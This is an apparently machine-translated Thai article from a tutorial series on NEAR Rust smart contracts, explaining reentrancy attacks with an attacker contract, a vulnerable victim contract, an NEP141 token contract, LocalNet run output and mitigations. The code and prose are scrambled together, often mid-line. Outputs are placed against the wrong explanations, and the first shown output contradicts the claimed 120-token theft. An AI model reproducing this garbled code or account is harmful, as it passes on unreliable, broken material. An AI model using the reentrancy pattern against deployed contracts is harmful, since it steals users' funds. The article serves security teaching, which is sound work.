บทความที่เกี่ยวข้อง:
ไดอารี่การพัฒนาสัญญาสมาร์ทสนิม (1) คำจำกัดความของข้อมูลสถานะสัญญาและการนำไปใช้
ไดอารี่การพัฒนาสัญญาสมาร์ทสนิม (2) การเขียนการทดสอบหน่วยสัญญาสมาร์ทสนิม
ไดอารี่การพัฒนาสัญญาสมาร์ทสนิม (4) สนิมจำนวนเต็มล้นสัญญาสมาร์ท
ไดอารี่การพัฒนาสัญญาสมาร์ทสนิม (1) คำจำกัดความของข้อมูลสถานะสัญญาและการนำไปใช้https://github.com/blocksecteam/near_demo
ไดอารี่การพัฒนาสัญญาสมาร์ทสนิม (2) การเขียนการทดสอบหน่วยสัญญาสมาร์ทสนิม
ไดอารี่การพัฒนาสัญญาสมาร์ทสนิม (2) การเขียนการทดสอบหน่วยสัญญาสมาร์ทสนิม
บันทึกการพัฒนาสัญญาอัจฉริยะของสนิม (3) การปรับใช้สัญญาอัจฉริยะของสนิม การเรียกใช้ฟังก์ชัน และการใช้ Explorer
บันทึกการพัฒนาสัญญาอัจฉริยะของสนิม (3) การปรับใช้สัญญาอัจฉริยะของสนิม การเรียกใช้ฟังก์ชัน และการใช้ Explorer
ไดอารี่การพัฒนาสัญญาสมาร์ทสนิม (4) สนิมจำนวนเต็มล้นสัญญาสมาร์ท
ในฉบับนี้ เราจะแสดงให้คุณเห็นถึงการโจมตีแบบ Reentrancy ในสัญญาของ Rust และให้คำแนะนำที่สอดคล้องกันสำหรับนักพัฒนา โค้ดที่เกี่ยวข้องในบทความนี้ได้รับการอัปโหลดไปยัง Github ของ BlockSec และผู้อ่านสามารถดาวน์โหลดได้ด้วยตัวเอง:
ชื่อเรื่องรอง
1. หลักการโจมตีแบบย้อนกลับ
รูปภาพ
เราใช้ตัวอย่างง่ายๆ ในชีวิตจริงเพื่อทำความเข้าใจการโจมตีแบบย้อนกลับ กล่าวคือ สมมติว่าผู้ใช้มีเงินสด 100 หยวนในธนาคาร เมื่อผู้ใช้ต้องการถอนเงินจากธนาคาร เขาจะบอกกับพนักงานธนาคารก่อน : "ฉันต้องการรับ 60 หยวน" Teller-A จะตรวจสอบยอดคงเหลือของผู้ใช้ในเวลานี้เป็น 100 หยวน เนื่องจากยอดคงเหลือมากกว่าจำนวนที่ผู้ใช้ต้องการถอน Teller-A จะมอบเงินสดจำนวน 60 หยวนให้กับผู้ใช้ก่อน แต่ก่อนที่พนักงานเก็บเงิน A จะมีเวลาอัปเดตยอดเงินของผู้ใช้เป็น 40 หยวน ผู้ใช้คนนั้นก็วิ่งไปที่ประตูถัดไปและบอกพนักงานเก็บเงินอีกคนหนึ่งว่า "ฉันต้องการถอนเงิน 60 หยวน" และปกปิดว่าเขาเพิ่งถอนเงินจากพนักงานเก็บเงิน- ข้อเท็จจริงเกี่ยวกับเงิน เนื่องจากยอดคงเหลือของผู้ใช้ไม่ได้รับการอัพเดทโดย teller-A พนักงานรับ-B จึงตรวจสอบว่ายอดคงเหลือของผู้ใช้ยังคงเป็น 100 หยวน ดังนั้น teller-B จะมอบเงิน 60 หยวนให้กับผู้ใช้ต่อไปโดยไม่ลังเล ผู้ใช้ได้รับเงินสดจริง 120 หยวน ซึ่งมากกว่าเงินสด 100 หยวนที่เก็บไว้ในธนาคารก่อนหน้านี้
ทำไมสิ่งนี้ถึงเกิดขึ้น? เหตุผลก็คือ พนักงานเก็บเงิน A ไม่ได้หักเงิน 60 หยวนของผู้ใช้จากบัญชีของผู้ใช้ล่วงหน้า ถ้าหมอ-A สามารถหักเงินล่วงหน้าได้. เมื่อผู้ใช้ขอให้ Teller-B ถอนเงิน Teller-B จะพบว่ายอดคงเหลือของผู้ใช้ได้รับการอัปเดตแล้วและไม่สามารถถอนเงินสดได้มากกว่ายอดคงเหลือ (40 หยวน)
ส่วนที่ 2 ด้านล่างจะแนะนำความรู้พื้นฐานที่เกี่ยวข้องก่อน และส่วนที่ 3 จะแสดงตัวอย่างการโจมตีแบบย้อนกลับที่เฉพาะเจาะจงใน NEAR LocalNet เพื่อสะท้อนถึงอันตรายของการกลับเข้าที่รหัสไปยังสัญญาอัจฉริยะที่ใช้งานบนเครือข่าย NEAR ในตอนท้ายของบทความนี้ เราจะแนะนำเทคโนโลยีการป้องกันการโจมตีกลับเข้ามาใหม่อย่างละเอียดเพื่อช่วยให้คุณเขียนสัญญาอัจฉริยะของ Rust ได้ดียิ่งขึ้น
ชื่อเรื่องรอง
2. ความรู้พื้นฐาน: การถ่ายโอนการดำเนินงานของ NEP141
NEP141 เป็นโทเค็นที่ใช้ร่วมกันได้ (ต่อไปนี้จะเรียกว่าโทเค็น) มาตรฐานในห่วงโซ่สาธารณะ NEAR โทเค็นส่วนใหญ่ใน NEAR เป็นไปตามมาตรฐาน NEP141
เมื่อผู้ใช้ต้องการฝากหรือถอนโทเค็นจำนวนหนึ่งจากกลุ่มหนึ่ง เช่น การแลกเปลี่ยนแบบกระจายศูนย์ (DEX) ผู้ใช้สามารถเรียกอินเทอร์เฟซสัญญาที่เกี่ยวข้องเพื่อดำเนินการเฉพาะให้เสร็จสมบูรณ์
เมื่อสัญญาโครงการ DEX เรียกใช้ฟังก์ชันอินเทอร์เฟซที่สอดคล้องกัน มันจะเรียกฟังก์ชัน ft_transfer/ft_transfer_call ในสัญญาโทเค็นเพื่อดำเนินการถ่ายโอนอย่างเป็นทางการ ความแตกต่างระหว่างสองฟังก์ชันนี้มีดังนี้:
เมื่อเรียกใช้ฟังก์ชัน ft_transfer ในสัญญาโทเค็น ผู้รับการโอน (receiver_id) คือบัญชี EOA
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct VictimContract {
attacker_balance: u128,
other_balance: u128,
}
impl Default for VictimContract {
fn default() -> Self {
Self {
attacker_balance: 100,
other_balance:100
}
}
}
เมื่อเรียกใช้ฟังก์ชัน ft_transfer_call ในสัญญาโทเค็น ผู้รับการโอน (receiver_id) คือบัญชีสัญญา
สำหรับ ft_transfer_call นอกเหนือจากการหักจำนวนเงินโอนของผู้เริ่มต้นธุรกรรม (sender_id) และเพิ่มยอดคงเหลือของผู้ใช้ผู้รับโอน (receiver_id) วิธีการนี้ยังเพิ่มฟังก์ชันเพิ่มเติมที่เรียกว่า ft_on_transfer (ฟังก์ชันการเก็บเหรียญ) ในสัญญา receiver_id ) สำหรับการโทรข้ามสัญญา เป็นที่เข้าใจง่ายๆ ว่า ณ เวลานี้ สัญญาโทเค็นจะเตือนสัญญา receiver_id ว่าผู้ใช้ได้ฝากโทเค็นตามจำนวนที่กำหนด สัญญา receiver_id จะรักษาการจัดการยอดคงเหลือของบัญชีภายในด้วยตัวมันเองในฟังก์ชัน ft_on_transfer
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize)]
pub struct FungibleToken {
attacker_balance: u128,
victim_balance: u128
}
impl Default for FungibleToken {
fn default() -> Self {
Self {
attacker_balance: 0,
victim_balance: 200
}
}
ชื่อเรื่องรอง
3. ตัวอย่างเฉพาะของการกลับเข้าใช้รหัสใหม่
สมมติว่ามีสัญญาอัจฉริยะสามรายการดังต่อไปนี้:
impl MaliciousContract {
pub fn malicious_call(&mut self, amount:u128){
ext_victim::withdraw(
amount.into(),
&VICTIM,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
);
}
...
}
สัญญา A: สัญญาโจมตี;
impl VictimContract {สัญญา B: สัญญาเหยื่อ
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
ผู้โจมตีจะใช้สัญญานี้เพื่อดำเนินธุรกรรมการโจมตีในภายหลัง
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
...
}
สำหรับสัญญา DEX ในขณะที่เริ่มต้น บัญชี Attacker มียอดคงเหลือ 100 และผู้ใช้ DEX รายอื่นมียอดคงเหลือ 100 นั่นคือสัญญา DEX มีทั้งหมด 200 โทเค็นในขณะนี้
สัญญา C: สัญญาโทเค็น (NEP141)
#[near_bindgen]สัญญาของผู้โจมตีเรียกฟังก์ชันการถอนในสัญญาของเหยื่อ (สัญญา B) ผ่านฟังก์ชัน malicious_call
#[near_bindgen]ในสัญญา B คำสั่ง assert!(self.attacker_balance>= amount) ที่จุดเริ่มต้นของฟังก์ชันการถอนจะตรวจสอบว่าบัญชี Attacker มียอดเงินคงเหลือเพียงพอหรือไม่ ในขณะนี้ ยอดคงเหลือคือ 100>60 และขั้นตอนต่อมาในการถอน จะดำเนินการผ่านการยืนยัน
// ฟังก์ชันสะสมเหรียญของ Call Attacker
ฟังก์ชันการถอนในสัญญา B จะเรียกใช้ฟังก์ชัน ft_transfer_call ในสัญญา C (สัญญา FT_Token);
การเรียกข้ามสัญญาสามารถทำได้ผ่าน ext_ft_token::ft_transfer_call ในโค้ดด้านบน
impl FungibleToken {
pub fn ft_transfer_call(&mut self,amount: u128)-> PromiseOrValue
ก่อนการโจมตี เนื่องจากบัญชีผู้โจมตีไม่ได้ถอนเงินสดจากสัญญาของเหยื่อ ยอดคงเหลือจึงเป็น 0 ในขณะนี้ ยอดคงเหลือของสัญญาเหยื่อ (DEX) คือ 100+100 =200;
self.attacker_balance += amount;
self.victim_balance -= amount;
ข้อมูลต่อไปนี้จะอธิบายถึงกระบวนการเฉพาะของการโจมตีรหัสซ้ำ:
ext_fungible_token_receiver::ft_on_transfer(
amount.into(),
&ATTACKER,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
).into()
}
...
}
impl MaliciousContract {
pub fn ft_on_transfer(&mut self, amount: u128){
ตัวอย่างเช่น ในขณะนี้ ผู้โจมตีส่งค่าของพารามิเตอร์จำนวนไปยังฟังก์ชันการถอนเป็น 60 โดยหวังว่าจะถอน 60 จากสัญญา B
if self.reentered == false{
ext_victim::withdraw(
amount.into(),
&VICTIM,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL
);
}
self.reentered = true;
}
...
}
ฟังก์ชัน ft_transfer_call ในสัญญา C จะอัปเดตยอดคงเหลือของบัญชีผู้โจมตี = 0 + 60 = 60 และยอดคงเหลือของบัญชีสัญญาของเหยื่อ = 200 - 60 = 140 จากนั้นเรียกฟังก์ชัน ft_on_transfer "token collection" ของสัญญา A ผ่าน ext_fungible_token_receiver::ft_on_transfer
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Victim::attacker_balance:3.402823669209385e+38
FT_Token::attacker_balance:120
FT_Token::victim_balance:80
// ฟังก์ชันสะสมเหรียญของ Call Attacker
เนื่องจากสัญญา A ถูกควบคุมโดย Attacker และรหัสมีลักษณะการทำงานที่เป็นอันตราย ดังนั้น ฟังก์ชัน ft_on_transfer ที่ "มุ่งร้าย" สามารถเรียกใช้ฟังก์ชันการถอนในสัญญา B โดยดำเนินการ ext_victim::withdraw อีกครั้ง เพื่อให้บรรลุผลของการกลับเข้ามาใหม่
// ฟังก์ชั่นการเก็บเหรียญของสัญญาที่เป็นอันตราย
เนื่องจาก attacker_balance ในสัญญาของเหยื่อไม่ได้รับการอัปเดตตั้งแต่ครั้งล่าสุดที่ป้อนการถอน จึงยังคงเป็น 100 ดังนั้นการตรวจสอบของ assert!(self.attacker_balance>= amount) จึงยังคงผ่านได้ในขณะนี้ หลังจากถอนแล้ว ฟังก์ชัน ft_transfer_call จะถูกเรียกข้ามสัญญาในสัญญา FT_Token อีกครั้ง และยอดคงเหลือของบัญชีผู้โจมตี = 60 + 60 = 120 และยอดคงเหลือของบัญชีสัญญาเหยื่อ = 140 - 60 = 80;
#[near_bindgen]
impl VictimContract {
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
self.attacker_balance -= amount;
ft_transfer_call โทรกลับไปที่ฟังก์ชัน ft_on_transfer ในสัญญาของ Attacker อีกครั้ง เนื่องจากฟังก์ชัน ft_on_transfer ในสัญญา A ในขณะนี้กลับเข้าสู่ฟังก์ชันการถอนอีกครั้งเท่านั้น ลักษณะการกลับรายการจะถูกยกเลิกเมื่อเรียก ft_on_transfer ในครั้งนี้
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
} #[private]
pub fn ft_resolve_transfer(&mut self, amount: u128) {
match env::promise_result(0) {
PromiseResult::NotReady => unreachable!(),
PromiseResult::Successful(_) => {
}
PromiseResult::Failed => {
หลังจากนั้น ฟังก์ชันจะย้อนกลับทีละขั้นตามสายเรียกก่อนหน้า ส่งผลให้ self.attacker_balance = 100 -60 -60 = -20 เมื่ออัปเดต self.attacker_balance ในฟังก์ชันการถอนในสัญญา B
เนื่องจาก self.attacker_balance คือ u128 และไม่ได้ใช้ safe_math มันจะทำให้จำนวนเต็มล้น
self.attacker_balance += amount;
}
};
}
ผลการดำเนินการขั้นสุดท้ายเป็นดังนี้:
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 873C5WqMyaXBFM3dmoR9t1sSo4g5PugUF8ddvmBS6g3X
Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Smart contract panicked: panicked at 'assertion failed: self.attacker_balance >= amount', src/lib.rs:45:9"}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140
กล่าวคือ แม้ว่ายอดคงเหลือของ FungibleToken ที่ล็อคโดยผู้ใช้ Attacker ใน DEX จะมีเพียง 100 แต่การถ่ายโอนจริงที่ผู้โจมตีได้รับคือ 120 ซึ่งตระหนักถึงวัตถุประสงค์ของการโจมตีรหัสนี้อีกครั้ง
ชื่อเรื่องรอง
4. เทคโนโลยีป้องกันการป้อนรหัสซ้ำ
4.1 อัพเดทยอดและสถานะก่อน (หักเงินก่อน) แล้วค่อยโอน
เปลี่ยนตรรกะการดำเนินการในรหัสสัญญา B ถอนเป็น:
// ฟังก์ชันสะสมเหรียญของ Call Attacker
pub fn withdraw(&mut self,amount: u128) -> Promise{
assert!(self.attacker_balance>= amount);
// หาก ext_ft_token::ft_transfer_call การโอนสายข้ามสัญญาล้มเหลว
ext_ft_token::ft_transfer_call(
amount.into(),
&FT_TOKEN,
0,
- env::prepaid_gas() - GAS_FOR_SINGLE_CALL * 2
+ GAS_FOR_SINGLE_CALL * 3
)
.then(ext_self::ft_resolve_transfer(
amount.into(),
&env::current_account_id(),
0,
GAS_FOR_SINGLE_CALL,
))
}
// จากนั้นย้อนกลับการอัปเดตสถานะยอดเงินในบัญชีก่อนหน้า
$ node Triple_Contracts_Reentrancy.js
Finish init NEAR
Finish deploy contracts and create test accounts
Receipt: 5xsywUr4SePqfuotLXMragAC8P6wJuKGBuy5CTJSxRMX
Failure [attacker.test.near]: Error: {"index":0,"kind":{"ExecutionError":"Exceeded the prepaid gas."}}
Victim::attacker_balance:40
FT_Token::attacker_balance:60
FT_Token::victim_balance:140
จะเห็นได้ว่าเนื่องจากสัญญาของเหยื่อในขณะนี้ได้อัปเดตยอดคงเหลือของผู้ใช้ล่วงหน้าเมื่อถอนออก จึงเรียก FungibleToken ภายนอกเพื่อดำเนินการโอน ดังนั้น เมื่อเข้าสู่การถอนอีกครั้งเป็นครั้งที่สอง ยอดคงเหลือของผู้โจมตีที่บันทึกไว้ในสัญญาของเหยื่อได้รับการอัปเดตเป็น 40 ดังนั้นการยืนยัน!(self.attacker_balance>= จำนวน) จะไม่ถูกส่งผ่าน กระบวนการเรียก Attcker จะไม่สามารถทำได้ ทริกเกอร์เนื่องจาก Assertion Panic Arbitrage พร้อมการกลับเข้าใช้รหัส
4.2 แนะนำ mutex
วิธีนี้คล้ายกับกรณีที่พนักงานเก็บเงิน A ไม่มีเวลาอัปเดตยอดเงินของผู้ใช้เป็น 40 หยวน ผู้ใช้จะวิ่งไปที่ประตูถัดไปและบอกพนักงานเก็บเงินอีกคนหนึ่งว่า "ฉันต้องการถอนเงิน 60 หยวน" แม้ว่าผู้ใช้จะปกปิดข้อเท็จจริงที่ว่าเขาเพิ่งถอนเงินจาก Teller-A ก็ตาม แต่ธนาคาร-B สามารถทราบได้ว่าผู้ใช้บริการได้ไปหาธนาคาร-A แล้ว และยังดำเนินการไม่ครบถ้วน ในเวลานี้ ธนาคาร-B สามารถปฏิเสธไม่ให้ผู้ใช้บริการถอนเงินได้ โดยปกติแล้ว mutex สามารถนำไปใช้ได้โดยการแนะนำตัวแปรสถานะ
